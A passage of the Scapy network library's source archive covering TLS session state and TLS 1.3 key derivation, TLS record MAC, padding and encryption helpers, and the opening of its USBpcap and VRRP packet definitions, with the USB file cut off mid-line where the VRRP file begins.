writeConnState(connState): def __init__(self, **kargs): connState.__init__(self, read_or_write="write", **kargs) ############################################################################### # TLS session # ############################################################################### class tlsSession(object): """ This is our TLS context, which gathers information from both sides of the TLS connection. These sides are represented by a readConnState instance and a writeConnState instance. Along with overarching network attributes, a tlsSession object also holds negotiated, shared information, such as the key exchange parameters and the master secret (when available). The default connection_end is "server". This corresponds to the expected behaviour for static exchange analysis (with a ClientHello parsed first). """ def __init__(self, ipsrc=None, ipdst=None, sport=None, dport=None, sid=None, connection_end="server", wcs=None, rcs=None): # Use this switch to prevent additions to the 'handshake_messages'. self.frozen = False # Network settings self.ipsrc = ipsrc self.ipdst = ipdst self.sport = sport self.dport = dport self.sid = sid # Our TCP socket. None until we send (or receive) a packet. self.sock = None # Connection states self.connection_end = connection_end if wcs is None: # Instantiate wcs with dummy values. self.wcs = writeConnState(connection_end=connection_end) self.wcs.derive_keys() else: self.wcs = wcs if rcs is None: # Instantiate rcs with dummy values. self.rcs = readConnState(connection_end=connection_end) self.rcs.derive_keys() else: self.rcs = rcs # The pending write/read states are updated by the building/parsing # of various TLS packets. They get committed to self.wcs/self.rcs # once Scapy builds/parses a ChangeCipherSpec message, or for certain # other messages in case of TLS 1.3. self.pwcs = None self.triggered_pwcs_commit = False self.prcs = None self.triggered_prcs_commit = False # Certificates and private keys # The server certificate chain, as a list of Cert instances. # Either we act as server and it has to be provided, or it is expected # to be sent by the server through a Certificate message. # The server certificate should be self.server_certs[0]. self.server_certs = [] # The server private key, as a PrivKey instance, when acting as server. # XXX It would be nice to be able to provide both an RSA and an ECDSA # key in order for the same Scapy server to support both families of # cipher suites. See INIT_TLS_SESSION() in automaton_srv.py. # (For now server_key holds either one of both types for DHE # authentication, while server_rsa_key is used only for RSAkx.) self.server_key = None self.server_rsa_key = None # self.server_ecdsa_key = None # Back in the dreadful EXPORT days, US servers were forbidden to use # RSA keys longer than 512 bits for RSAkx. When their usual RSA key # was longer than this, they had to create a new key and send it via # a ServerRSAParams message. When receiving such a message, # Scapy stores this key in server_tmp_rsa_key as a PubKey instance. self.server_tmp_rsa_key = None # When client authentication is performed, we need at least a # client certificate chain. If we act as client, we also have # to provide the key associated with the first certificate. self.client_certs = [] self.client_key = None # Ephemeral key exchange parameters # These are the group/curve parameters, needed to hold the information # e.g. from receiving an SKE to sending a CKE. Usually, only one of # these attributes will be different from None. self.client_kx_ffdh_params = None self.client_kx_ecdh_params = None # These are PrivateKeys and PublicKeys from the appropriate FFDH/ECDH # cryptography module, i.e. these are not raw bytes. Usually, only one # in two will be different from None, e.g. when being a TLS client you # will need the client_kx_privkey (the serialized public key is not # actually registered) and you will receive a server_kx_pubkey. self.client_kx_privkey = None self.client_kx_pubkey = None self.server_kx_privkey = None self.server_kx_pubkey = None # When using TLS 1.3, the tls13_client_pubshares will contain every # potential key share (equate the 'client_kx_pubkey' before) the client # offered, indexed by the id of the FFDH/ECDH group. These dicts # effectively replace the four previous attributes. self.tls13_client_privshares = {} self.tls13_client_pubshares = {} self.tls13_server_privshare = {} self.tls13_server_pubshare = {} # Negotiated session parameters # The advertised TLS version found in the ClientHello (and # EncryptedPreMasterSecret if used). If acting as server, it is set to # the value advertised by the client in its ClientHello. # The default value corresponds to TLS 1.2 (and TLS 1.3, incidentally). self.advertised_tls_version = 0x0303 # The agreed-upon TLS version found in the ServerHello. self.tls_version = None # These attributes should eventually be known to both sides (SSLv3-TLS 1.2). # noqa: E501 self.client_random = None self.server_random = None self.pre_master_secret = None self.master_secret = None # The agreed-upon signature algorithm (for TLS 1.2-TLS 1.3 only) self.selected_sig_alg = None # A session ticket received by the client. self.client_session_ticket = None # These attributes should only be used with SSLv2 connections. # We need to keep the KEY-MATERIAL here because it may be reused. self.sslv2_common_cs = [] self.sslv2_connection_id = None self.sslv2_challenge = None self.sslv2_challenge_clientcert = None self.sslv2_key_material = None # These attributes should only be used with TLS 1.3 connections. self.tls13_psk_secret = None self.tls13_early_secret = None self.tls13_dhe_secret = None self.tls13_handshake_secret = None self.tls13_master_secret = None self.tls13_derived_secrets = {} self.post_handshake_auth = False self.tls13_ticket_ciphersuite = None self.tls13_retry = False self.middlebox_compatibility = False # Handshake messages needed for Finished computation/validation. # No record layer headers, no HelloRequests, no ChangeCipherSpecs. self.handshake_messages = [] self.handshake_messages_parsed = [] # All exchanged TLS packets. # XXX no support for now # self.exchanged_pkts = [] def __setattr__(self, name, val): if name == "connection_end": if hasattr(self, "rcs") and self.rcs: self.rcs.connection_end = val if hasattr(self, "wcs") and self.wcs: self.wcs.connection_end = val if hasattr(self, "prcs") and self.prcs: self.prcs.connection_end = val if hasattr(self, "pwcs") and self.pwcs: self.pwcs.connection_end = val super(tlsSession, self).__setattr__(name, val) # Mirroring def mirror(self): """ This function takes a tlsSession object and swaps the IP addresses, ports, connection ends and connection states. The triggered_commit are also swapped (though it is probably overkill, it is cleaner this way). It is useful for static analysis of a series of messages from both the client and the server. In such a situation, it should be used every time the message being read comes from a different side than the one read right before, as the reading state becomes the writing state, and vice versa. For instance you could do: client_hello = open('client_hello.raw').read() m1 = TLS(client_hello) m2 = TLS(server_hello, tls_session=m1.tls_session.mirror()) m3 = TLS(server_cert, tls_session=m2.tls_session) m4 = TLS(client_keyexchange, tls_session=m3.tls_session.mirror()) """ self.ipdst, self.ipsrc = self.ipsrc, self.ipdst self.dport, self.sport = self.sport, self.dport self.rcs, self.wcs = self.wcs, self.rcs if self.rcs: self.rcs.row = "read" if self.wcs: self.wcs.row = "write" self.prcs, self.pwcs = self.pwcs, self.prcs if self.prcs: self.prcs.row = "read" if self.pwcs: self.pwcs.row = "write" self.triggered_prcs_commit, self.triggered_pwcs_commit = \ self.triggered_pwcs_commit, self.triggered_prcs_commit if self.connection_end == "client": self.connection_end = "server" elif self.connection_end == "server": self.connection_end = "client" return self # Secrets management for SSLv3 to TLS 1.2 def compute_master_secret(self): if self.pre_master_secret is None: warning("Missing pre_master_secret while computing master_secret!") if self.client_random is None: warning("Missing client_random while computing master_secret!") if self.server_random is None: warning("Missing server_random while computing master_secret!") ms = self.pwcs.prf.compute_master_secret(self.pre_master_secret, self.client_random, self.server_random) self.master_secret = ms if conf.debug_tls: log_runtime.debug("TLS: master secret: %s", repr_hex(ms)) def compute_ms_and_derive_keys(self): self.compute_master_secret() self.prcs.derive_keys(client_random=self.client_random, server_random=self.server_random, master_secret=self.master_secret) self.pwcs.derive_keys(client_random=self.client_random, server_random=self.server_random, master_secret=self.master_secret) # Secrets management for SSLv2 def compute_sslv2_key_material(self): if self.master_secret is None: warning("Missing master_secret while computing key_material!") if self.sslv2_challenge is None: warning("Missing challenge while computing key_material!") if self.sslv2_connection_id is None: warning("Missing connection_id while computing key_material!") km = self.pwcs.prf.derive_key_block(self.master_secret, self.sslv2_challenge, self.sslv2_connection_id, 2 * self.pwcs.cipher.key_len) self.sslv2_key_material = km if conf.debug_tls: log_runtime.debug("TLS: master secret: %s", repr_hex(self.master_secret)) # noqa: E501 log_runtime.debug("TLS: key material: %s", repr_hex(km)) def compute_sslv2_km_and_derive_keys(self): self.compute_sslv2_key_material() self.prcs.sslv2_derive_keys(key_material=self.sslv2_key_material) self.pwcs.sslv2_derive_keys(key_material=self.sslv2_key_material) # Secrets management for TLS 1.3 def compute_tls13_early_secrets(self, external=False): """ This function computes the Early Secret, the binder_key, the client_early_traffic_secret and the early_exporter_master_secret (See RFC8446, section 7.1). The parameter external is used for the computation of the binder_key: - For external PSK provisioned outside out of TLS, the parameter external must be True. - For resumption PSK, the parameter external must be False. If no argument is specified, the label "res binder" will be used by default. Ciphers key and IV are updated accordingly for 0-RTT data. self.handshake_messages should be ClientHello only. """ # if no hash algorithm is set, default to SHA-256 if self.prcs and self.prcs.hkdf: hkdf = self.prcs.hkdf elif self.pwcs and self.pwcs.hkdf: hkdf = self.pwcs.hkdf else: hkdf = TLS13_HKDF("sha256") if self.tls13_early_secret is None: self.tls13_early_secret = hkdf.extract(None, self.tls13_psk_secret) if "binder_key" not in self.tls13_derived_secrets: if external: bk = hkdf.derive_secret(self.tls13_early_secret, b"ext binder", b"") else: bk = hkdf.derive_secret(self.tls13_early_secret, b"res binder", b"") self.tls13_derived_secrets["binder_key"] = bk cets = hkdf.derive_secret(self.tls13_early_secret, b"c e traffic", b"".join(self.handshake_messages)) self.tls13_derived_secrets["client_early_traffic_secret"] = cets ees = hkdf.derive_secret(self.tls13_early_secret, b"e exp master", b"".join(self.handshake_messages)) self.tls13_derived_secrets["early_exporter_secret"] = ees if self.connection_end == "server": if self.prcs: self.prcs.tls13_derive_keys(cets) elif self.connection_end == "client": if self.pwcs: self.pwcs.tls13_derive_keys(cets) def compute_tls13_handshake_secrets(self): """ Ciphers key and IV are updated accordingly for Handshake data. self.handshake_messages should be ClientHello...ServerHello. """ if self.prcs: hkdf = self.prcs.hkdf elif self.pwcs: hkdf = self.pwcs.hkdf else: warning("No HKDF. This is abnormal.") return if self.tls13_early_secret is None: self.tls13_early_secret = hkdf.extract(None, self.tls13_psk_secret) secret = hkdf.derive_secret(self.tls13_early_secret, b"derived", b"") self.tls13_handshake_secret = hkdf.extract(secret, self.tls13_dhe_secret) # noqa: E501 chts = hkdf.derive_secret(self.tls13_handshake_secret, b"c hs traffic", b"".join(self.handshake_messages)) self.tls13_derived_secrets["client_handshake_traffic_secret"] = chts shts = hkdf.derive_secret(self.tls13_handshake_secret, b"s hs traffic", b"".join(self.handshake_messages)) self.tls13_derived_secrets["server_handshake_traffic_secret"] = shts def compute_tls13_traffic_secrets(self): """ Ciphers key and IV are updated accordingly for Application data. self.handshake_messages should be ClientHello...ServerFinished. """ if self.prcs and self.prcs.hkdf: hkdf = self.prcs.hkdf elif self.pwcs and self.pwcs.hkdf: hkdf = self.pwcs.hkdf else: warning("No HKDF. This is abnormal.") return tmp = hkdf.derive_secret(self.tls13_handshake_secret, b"derived", b"") self.tls13_master_secret = hkdf.extract(tmp, None) cts0 = hkdf.derive_secret(self.tls13_master_secret, b"c ap traffic", b"".join(self.handshake_messages)) self.tls13_derived_secrets["client_traffic_secrets"] = [cts0] sts0 = hkdf.derive_secret(self.tls13_master_secret, b"s ap traffic", b"".join(self.handshake_messages)) self.tls13_derived_secrets["server_traffic_secrets"] = [sts0] es = hkdf.derive_secret(self.tls13_master_secret, b"exp master", b"".join(self.handshake_messages)) self.tls13_derived_secrets["exporter_secret"] = es if self.connection_end == "server": # self.prcs.tls13_derive_keys(cts0) self.pwcs.tls13_derive_keys(sts0) elif self.connection_end == "client": # self.pwcs.tls13_derive_keys(cts0) self.prcs.tls13_derive_keys(sts0) def compute_tls13_traffic_secrets_end(self): cts0 = self.tls13_derived_secrets["client_traffic_secrets"][0] if self.connection_end == "server": self.prcs.tls13_derive_keys(cts0) elif self.connection_end == "client": self.pwcs.tls13_derive_keys(cts0) def compute_tls13_verify_data(self, connection_end, read_or_write): shts = "server_handshake_traffic_secret" chts = "client_handshake_traffic_secret" if read_or_write == "read": hkdf = self.rcs.hkdf if connection_end == "client": basekey = self.tls13_derived_secrets[shts] elif connection_end == "server": basekey = self.tls13_derived_secrets[chts] elif read_or_write == "write": hkdf = self.wcs.hkdf if connection_end == "client": basekey = self.tls13_derived_secrets[chts] elif connection_end == "server": basekey = self.tls13_derived_secrets[shts] if not hkdf or not basekey: warning("Missing arguments for verify_data computation!") return None # XXX this join() works in standard cases, but does it in all of them? handshake_context = b"".join(self.handshake_messages) return hkdf.compute_verify_data(basekey, handshake_context) def compute_tls13_resumption_secret(self): """ self.handshake_messages should be ClientHello...ClientFinished. """ if self.connection_end == "server": hkdf = self.prcs.hkdf elif self.connection_end == "client": hkdf = self.pwcs.hkdf rs = hkdf.derive_secret(self.tls13_master_secret, b"res master", b"".join(self.handshake_messages)) self.tls13_derived_secrets["resumption_secret"] = rs def compute_tls13_next_traffic_secrets(self, connection_end, read_or_write): # noqa : E501 """ Ciphers key and IV are updated accordingly. """ if self.rcs.hkdf: hkdf = self.rcs.hkdf hl = hkdf.hash.digest_size elif self.wcs.hkdf: hkdf = self.wcs.hkdf hl = hkdf.hash.digest_size if read_or_write == "read": if connection_end == "client": cts = self.tls13_derived_secrets["client_traffic_secrets"] ctsN = cts[-1] ctsN_1 = hkdf.expand_label(ctsN, b"traffic upd", b"", hl) cts.append(ctsN_1) self.prcs.tls13_derive_keys(ctsN_1) elif connection_end == "server": sts = self.tls13_derived_secrets["server_traffic_secrets"] stsN = sts[-1] stsN_1 = hkdf.expand_label(stsN, b"traffic upd", b"", hl) sts.append(stsN_1) self.prcs.tls13_derive_keys(stsN_1) elif read_or_write == "write": if connection_end == "client": cts = self.tls13_derived_secrets["client_traffic_secrets"] ctsN = cts[-1] ctsN_1 = hkdf.expand_label(ctsN, b"traffic upd", b"", hl) cts.append(ctsN_1) self.pwcs.tls13_derive_keys(ctsN_1) elif connection_end == "server": sts = self.tls13_derived_secrets["server_traffic_secrets"] stsN = sts[-1] stsN_1 = hkdf.expand_label(stsN, b"traffic upd", b"", hl) sts.append(stsN_1) self.pwcs.tls13_derive_keys(stsN_1) # Tests for record building/parsing def consider_read_padding(self): # Return True if padding is needed. Used by TLSPadField. return (self.rcs.cipher.type == "block" and not (False in six.itervalues(self.rcs.cipher.ready))) def consider_write_padding(self): # Return True if padding is needed. Used by TLSPadField. return self.wcs.cipher.type == "block" def use_explicit_iv(self, version, cipher_type): # Return True if an explicit IV is needed. Required for TLS 1.1+ # when either a block or an AEAD cipher is used. if cipher_type == "stream": return False return version >= 0x0302 # Python object management def hash(self): s1 = struct.pack("!H", self.sport) s2 = struct.pack("!H", self.dport) family = socket.AF_INET if ':' in self.ipsrc: family = socket.AF_INET6 s1 += inet_pton(family, self.ipsrc) s2 += inet_pton(family, self.ipdst) return strxor(s1, s2) def eq(self, other): ok = False if (self.sport == other.sport and self.dport == other.dport and self.ipsrc == other.ipsrc and self.ipdst == other.ipdst): ok = True if (not ok and self.dport == other.sport and self.sport == other.dport and self.ipdst == other.ipsrc and self.ipsrc == other.ipdst): ok = True if ok: if self.sid and other.sid: return self.sid == other.sid return True return False def __repr__(self): sid = repr(self.sid) if len(sid) > 12: sid = sid[:11] + "..." return "%s:%s > %s:%s" % (self.ipsrc, str(self.sport), self.ipdst, str(self.dport)) ############################################################################### # Session singleton # ############################################################################### class _GenericTLSSessionInheritance(Packet): """ Many classes inside the TLS module need to get access to session-related information. For instance, an encrypted TLS record cannot be parsed without some knowledge of the cipher suite being used and the secrets which have been negotiated. Passing information is also essential to the handshake. To this end, various TLS objects inherit from the present class. """ __slots__ = ["tls_session", "rcs_snap_init", "wcs_snap_init"] name = "Dummy Generic TLS Packet" fields_desc = [] def __init__(self, _pkt="", post_transform=None, _internal=0, _underlayer=None, tls_session=None, **fields): try: setme = self.tls_session is None except Exception: setme = True newses = False if setme: if tls_session is None: newses = True self.tls_session = tlsSession() else: self.tls_session = tls_session self.rcs_snap_init = self.tls_session.rcs.snapshot() self.wcs_snap_init = self.tls_session.wcs.snapshot() if isinstance(_underlayer, TCP): tcp = _underlayer self.tls_session.sport = tcp.sport self.tls_session.dport = tcp.dport try: self.tls_session.ipsrc = tcp.underlayer.src self.tls_session.ipdst = tcp.underlayer.dst except AttributeError: pass if conf.tls_session_enable: if newses: s = conf.tls_sessions.find(self.tls_session) if s: if s.dport == self.tls_session.dport: self.tls_session = s else: self.tls_session = s.mirror() else: conf.tls_sessions.add(self.tls_session) if self.tls_session.connection_end == "server": srk = conf.tls_sessions.server_rsa_key if not self.tls_session.server_rsa_key and \ srk: self.tls_session.server_rsa_key = srk Packet.__init__(self, _pkt=_pkt, post_transform=post_transform, _internal=_internal, _underlayer=_underlayer, **fields) def __getattr__(self, attr): """ The tls_session should be found only through the normal mechanism. """ if attr == "tls_session": return None return super(_GenericTLSSessionInheritance, self).__getattr__(attr) def tls_session_update(self, msg_str): """ post_{build, dissection}_tls_session_update() are used to update the tlsSession context. The default definitions below, along with tls_session_update(), may prevent code duplication in some cases. """ pass def post_build_tls_session_update(self, msg_str): self.tls_session_update(msg_str) def post_dissection_tls_session_update(self, msg_str): self.tls_session_update(msg_str) def copy(self): pkt = Packet.copy(self) pkt.tls_session = self.tls_session return pkt def clone_with(self, payload=None, **kargs): pkt = Packet.clone_with(self, payload=payload, **kargs) pkt.tls_session = self.tls_session return pkt def raw_stateful(self): return super(_GenericTLSSessionInheritance, self).__bytes__() def str_stateful(self): return self.raw_stateful() def __bytes__(self): """ The __bytes__ call has to leave the connection states unchanged. We also have to delete raw_packet_cache in order to access post_build. For performance, the pending connStates are not snapshotted. This should not be an issue, but maybe pay attention to this. The previous_freeze_state prevents issues with calling a raw() calling in turn another raw(), which would unfreeze the session too soon. """ s = self.tls_session rcs_snap = s.rcs.snapshot() wcs_snap = s.wcs.snapshot() rpc_snap = self.raw_packet_cache rpcf_snap = self.raw_packet_cache_fields s.wcs = self.rcs_snap_init self.raw_packet_cache = None previous_freeze_state = s.frozen s.frozen = True built_packet = super(_GenericTLSSessionInheritance, self).__bytes__() s.frozen = previous_freeze_state s.rcs = rcs_snap s.wcs = wcs_snap self.raw_packet_cache = rpc_snap self.raw_packet_cache_fields = rpcf_snap return built_packet __str__ = __bytes__ def show2(self): """ Rebuild the TLS packet with the same context, and then .show() it. We need self.__class__ to call the subclass in a dynamic way. Howether we do not want the tls_session.{r,w}cs.seq_num to be updated. We have to bring back the init states (it's possible the cipher context has been updated because of parsing) but also to keep the current state and restore it afterwards (the raw() call may also update the states). """ s = self.tls_session rcs_snap = s.rcs.snapshot() wcs_snap = s.wcs.snapshot() s.rcs = self.rcs_snap_init built_packet = raw(self) s.frozen = True self.__class__(built_packet, tls_session=s).show() s.frozen = False s.rcs = rcs_snap s.wcs = wcs_snap def mysummary(self): return "TLS %s / %s" % (repr(self.tls_session), getattr(self, "_name", self.name)) @classmethod def tcp_reassemble(cls, data, metadata): # Used with TLSSession from scapy.layers.tls.record import TLS from scapy.layers.tls.record_tls13 import TLS13 if cls in (TLS, TLS13): length = struct.unpack("!H", data[3:5])[0] + 5 if len(data) == length: return cls(data) elif len(data) > length: pkt = cls(data) if hasattr(pkt.payload, "tcp_reassemble"): if pkt.payload.tcp_reassemble(data[length:], metadata): return pkt else: return pkt else: return cls(data) ############################################################################### # Multiple TLS sessions # ############################################################################### class _tls_sessions(object): def __init__(self): self.sessions = {} self.server_rsa_key = None def add(self, session): s = self.find(session) if s: log_runtime.info("TLS: previous session shall not be overwritten") return h = session.hash() if h in self.sessions: self.sessions[h].append(session) else: self.sessions[h] = [session] def rem(self, session): s = self.find(session) if s: log_runtime.info("TLS: previous session shall not be overwritten") return h = session.hash() self.sessions[h].remove(session) def find(self, session): try: h = session.hash() except Exception: return None if h in self.sessions: for k in self.sessions[h]: if k.eq(session): if conf.tls_verbose: log_runtime.info("TLS: found session matching %s", k) return k if conf.tls_verbose: log_runtime.info("TLS: did not find session matching %s", session) return None def __repr__(self): res = [("First endpoint", "Second endpoint", "Session ID")] for li in six.itervalues(self.sessions): for s in li: src = "%s[%d]" % (s.ipsrc, s.sport) dst = "%s[%d]" % (s.ipdst, s.dport) sid = repr(s.sid) if len(sid) > 12: sid = sid[:11] + "..." res.append((src, dst, sid)) colwidth = (max(len(y) for y in x) for x in zip(*res)) fmt = " ".join(map(lambda x: "%%-%ds" % x, colwidth)) return "\n".join(map(lambda x: fmt % x, res)) class TLSSession(DefaultSession): def __init__(self, *args, **kwargs): server_rsa_key = kwargs.pop("server_rsa_key", None) super(TLSSession, self).__init__(*args, **kwargs) self._old_conf_status = conf.tls_session_enable conf.tls_session_enable = True if server_rsa_key: conf.tls_sessions.server_rsa_key = server_rsa_key def toPacketList(self): conf.tls_session_enable = self._old_conf_status return super(TLSSession, self).toPacketList() conf.tls_sessions = _tls_sessions() conf.tls_session_enable = False conf.tls_verbose = False scapy-2.4.4/scapy/layers/tls/tools.py000066400000000000000000000157471372370053500176150ustar00rootroot00000000000000# This file is part of Scapy # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # This program is published under a GPLv2 license """ TLS helpers, provided as out-of-context methods. """ from __future__ import absolute_import import struct from scapy.compat import orb, chb from scapy.error import warning from scapy.fields import (ByteEnumField, ShortEnumField, FieldLenField, StrLenField) from scapy.packet import Packet from scapy.layers.tls.basefields import _tls_type, _tls_version class TLSPlaintext(Packet): name = "TLS Plaintext" fields_desc = [ByteEnumField("type", None, _tls_type), ShortEnumField("version", None, _tls_version), FieldLenField("len", None, length_of="data", fmt="!H"), StrLenField("data", "", length_from=lambda pkt: pkt.len)] class TLSCompressed(TLSPlaintext): name = "TLS Compressed" class TLSCiphertext(TLSPlaintext): name = "TLS Ciphertext" def _tls_compress(alg, p): """ Compress p (a TLSPlaintext instance) using compression algorithm instance alg and return a TLSCompressed instance. """ c = TLSCompressed() c.type = p.type c.version = p.version c.data = alg.compress(p.data) c.len = len(c.data) return c def _tls_decompress(alg, c): """ Decompress c (a TLSCompressed instance) using compression algorithm instance alg and return a TLSPlaintext instance. """ p = TLSPlaintext() p.type = c.type p.version = c.version p.data = alg.decompress(c.data) p.len = len(p.data) return p def _tls_mac_add(alg, c, write_seq_num): """ Compute the MAC using provided MAC alg instance over TLSCiphertext c using current write sequence number write_seq_num. Computed MAC is then appended to c.data and c.len is updated to reflect that change. It is the caller responsibility to increment the sequence number after the operation. The function has no return value. """ write_seq_num = struct.pack("!Q", write_seq_num) h = alg.digest(write_seq_num + bytes(c)) c.data += h c.len += alg.hash_len def _tls_mac_verify(alg, p, read_seq_num): """ Verify if the MAC in provided message (message resulting from decryption and padding removal) is valid. Current read sequence number is used in the verification process. If the MAC is valid: - The function returns True - The packet p is updated in the following way: trailing MAC value is removed from p.data and length is updated accordingly. In case of error, False is returned, and p may have been modified. Also note that it is the caller's responsibility to update the read sequence number after the operation. """ h_size = alg.hash_len if p.len < h_size: return False received_h = p.data[-h_size:] p.len -= h_size p.data = p.data[:-h_size] read_seq_num = struct.pack("!Q", read_seq_num) h = alg.digest(read_seq_num + bytes(p)) return h == received_h def _tls_add_pad(p, block_size): """ Provided with cipher block size parameter and current TLSCompressed packet p (after MAC addition), the function adds required, deterministic padding to p.data before encryption step, as it is defined for TLS (i.e. not SSL and its allowed random padding). The function has no return value. """ padlen = -p.len % block_size padding = chb(padlen) * (padlen + 1) p.len += len(padding) p.data += padding def _tls_del_pad(p): """ Provided with a just decrypted TLSCiphertext (now a TLSPlaintext instance) p, the function removes the trailing padding found in p.data. It also performs some sanity checks on the padding (length, content, ...). False is returned if one of the check fails. Otherwise, True is returned, indicating that p.data and p.len have been updated. """ if p.len < 1: warning("Message format is invalid (padding)") return False padlen = orb(p.data[-1]) padsize = padlen + 1 if p.len < padsize: warning("Invalid padding length") return False if p.data[-padsize:] != chb(padlen) * padsize: warning("Padding content is invalid %s", repr(p.data[-padsize:])) return False p.data = p.data[:-padsize] p.len -= padsize return True def _tls_encrypt(alg, p): """ Provided with an already MACed TLSCompressed packet, and a stream or block cipher alg, the function converts it into a TLSCiphertext (i.e. encrypts it and updates length). The function returns a newly created TLSCiphertext instance. """ c = TLSCiphertext() c.type = p.type c.version = p.version c.data = alg.encrypt(p.data) c.len = len(c.data) return c def _tls_decrypt(alg, c): """ Provided with a TLSCiphertext instance c, and a stream or block cipher alg, the function decrypts c.data and returns a newly created TLSPlaintext. """ p = TLSPlaintext() p.type = c.type p.version = c.version p.data = alg.decrypt(c.data) p.len = len(p.data) return p def _tls_aead_auth_encrypt(alg, p, write_seq_num): """ Provided with a TLSCompressed instance p, the function applies AEAD cipher alg to p.data and builds a new TLSCiphertext instance. Unlike for block and stream ciphers, for which the authentication step is done separately, AEAD alg does it simultaneously: this is the reason why write_seq_num is passed to the function, to be incorporated in authenticated data. Note that it is the caller's responsibility to increment # noqa: E501 write_seq_num afterwards. """ P = bytes(p) write_seq_num = struct.pack("!Q", write_seq_num) A = write_seq_num + P[:5] c = TLSCiphertext() c.type = p.type c.version = p.version c.data = alg.auth_encrypt(P, A, write_seq_num) c.len = len(c.data) return c def _tls_aead_auth_decrypt(alg, c, read_seq_num): """ Provided with a TLSCiphertext instance c, the function applies AEAD cipher alg auth_decrypt function to c.data (and additional data) in order to authenticate the data and decrypt c.data. When those steps succeed, the result is a newly created TLSCompressed instance. On error, None is returned. Note that it is the caller's responsibility to increment read_seq_num afterwards. """ # 'Deduce' TLSCompressed length from TLSCiphertext length # There is actually no guaranty of this equality, but this is defined as # such in TLS 1.2 specifications, and it works for GCM and CCM at least. # plen = c.len - getattr(alg, "nonce_explicit_len", 0) - alg.tag_len read_seq_num = struct.pack("!Q", read_seq_num) A = read_seq_num + struct.pack('!BHH', c.type, c.version, plen) p = TLSCompressed() p.type = c.type p.version = c.version p.len = plen p.data = alg.auth_decrypt(A, c.data, read_seq_num) if p.data is None: # Verification failed. return None return p scapy-2.4.4/scapy/layers/usb.py000066400000000000000000000204261372370053500164320ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Copyright (C) Gabriel Potter # This program is published under a GPLv2 license """ Default USB frames & Basic implementation """ # TODO: support USB headers for Linux and Darwin (usbmon/netmon) # https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-usb.c # noqa: E501 import re import subprocess from scapy.config import conf from scapy.consts import WINDOWS from scapy.compat import chb, plain_str from scapy.data import MTU, DLT_USBPCAP from scapy.error import warning from scapy.fields import ByteField, XByteField, ByteEnumField, LEShortField, \ LEShortEnumField, LEIntField, LEIntEnumField, XLELongField, \ LenField from scapy.packet import Packet, bind_top_down from scapy.supersocket import SuperSocket from scapy.utils import PcapReader # USBpcap _usbd_status_codes = { 0x00000000: "Success", 0x40000000: "Pending", 0xC0000000: "Halted", 0x80000000: "Error" } _transfer_types = { 0x0: "Isochronous", 0x1: "Interrupt", 0x2: "Control" } # From https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-usb.c # noqa: E501 _urb_functions = { 0x0008: "URB_FUNCTION_CONTROL_TRANSFER", 0x0009: "URB_FUNCTION_BULK_OR_INTERRUPT_TRANSFER", 0x000A: "URB_FUNCTION_ISOCH_TRANSFER", 0x000B: "URB_FUNCTION_GET_DESCRIPTOR_FROM_DEVICE", 0x000C: "URB_FUNCTION_SET_DESCRIPTOR_TO_DEVICE", 0x000D: "URB_FUNCTION_SET_FEATURE_TO_DEVICE", 0x000E: "URB_FUNCTION_SET_FEATURE_TO_INTERFACE", 0x000F: "URB_FUNCTION_SET_FEATURE_TO_ENDPOINT", 0x0010: "URB_FUNCTION_CLEAR_FEATURE_TO_DEVICE", 0x0011: "URB_FUNCTION_CLEAR_FEATURE_TO_INTERFACE", 0x0012: "URB_FUNCTION_CLEAR_FEATURE_TO_ENDPOINT", 0x0013: "URB_FUNCTION_GET_STATUS_FROM_DEVICE", 0x0014: "URB_FUNCTION_GET_STATUS_FROM_INTERFACE", 0x0015: "URB_FUNCTION_GET_STATUS_FROM_ENDPOINT", 0x0017: "URB_FUNCTION_VENDOR_DEVICE", 0x0018: "URB_FUNCTION_VENDOR_INTERFACE", 0x0019: "URB_FUNCTION_VENDOR_ENDPOINT", 0x001A: "URB_FUNCTION_CLASS_DEVICE", 0x001B: "URB_FUNCTION_CLASS_INTERFACE", 0x001C: "URB_FUNCTION_CLASS_ENDPOINT", 0x001F: "URB_FUNCTION_CLASS_OTHER", 0x0020: "URB_FUNCTION_VENDOR_OTHER", 0x0021: "URB_FUNCTION_GET_STATUS_FROM_OTHER", 0x0022: "URB_FUNCTION_CLEAR_FEATURE_TO_OTHER", 0x0023: "URB_FUNCTION_SET_FEATURE_TO_OTHER", 0x0024: "URB_FUNCTION_GET_DESCRIPTOR_FROM_ENDPOINT", 0x0025: "URB_FUNCTION_SET_DESCRIPTOR_TO_ENDPOINT", 0x0026: "URB_FUNCTION_GET_CONFIGURATION", 0x0027: "URB_FUNCTION_GET_INTERFACE", 0x0028: "URB_FUNCTION_GET_DESCRIPTOR_FROM_INTERFACE", 0x0029: "URB_FUNCTION_SET_DESCRIPTOR_TO_INTERFACE", 0x002A: "URB_FUNCTION_GET_MS_FEATURE_DESCRIPTOR", 0x0032: "URB_FUNCTION_CONTROL_TRANSFER_EX", 0x0037: "URB_FUNCTION_BULK_OR_INTERRUPT_TRANSFER_USING_CHAINED_MDL", 0x0002: "URB_FUNCTION_ABORT_PIPE", 0x001E: "URB_FUNCTION_SYNC_RESET_PIPE_AND_CLEAR_STALL", 0x0030: "URB_FUNCTION_SYNC_RESET_PIPE", 0x0031: "URB_FUNCTION_SYNC_CLEAR_STALL", } class USBpcap(Packet): name = "USBpcap URB" fields_desc = [ByteField("headerLen", None), ByteField("res", 0), XLELongField("irpId", 0), LEIntEnumField("usbd_status", 0x0, _usbd_status_codes), LEShortEnumField("function", 0, _urb_functions), XByteField("info", 0), LEShortField("bus", 0), LEShortField("device", 0), XByteField("endpoint", 0), ByteEnumField("transfer", 0, _transfer_types), LenField("dataLength", None, fmt=" # Copyright (C) 6WIND # This program is published under a GPLv2 license """ VRRP (Virtual Router Redundancy Protocol). """ from scapy.packet import Packet, bind_layers from scapy.fields import BitField, ByteField, FieldLenField, FieldListField, \ IPField, IP6Field, IntField, MultipleTypeField, StrField, XShortField from scapy.compat import chb, orb from scapy.layers.inet import IP, in4_chksum, checksum from scapy.layers.inet6 import IPv6, in6_chksum from scapy.error import warning IPPROTO_VRRP = 112 # RFC 3768 - Virtual Router Redundancy Protocol (VRRP) class VRRP(Packet): fields_desc = [ BitField("version", 2, 4), BitField("type", 1, 4), ByteField("vrid", 1), ByteField("priority", 100), FieldLenField("ipcount", None, count_of="addrlist", fmt="B"), ByteField("authtype", 0), ByteField("adv", 1), 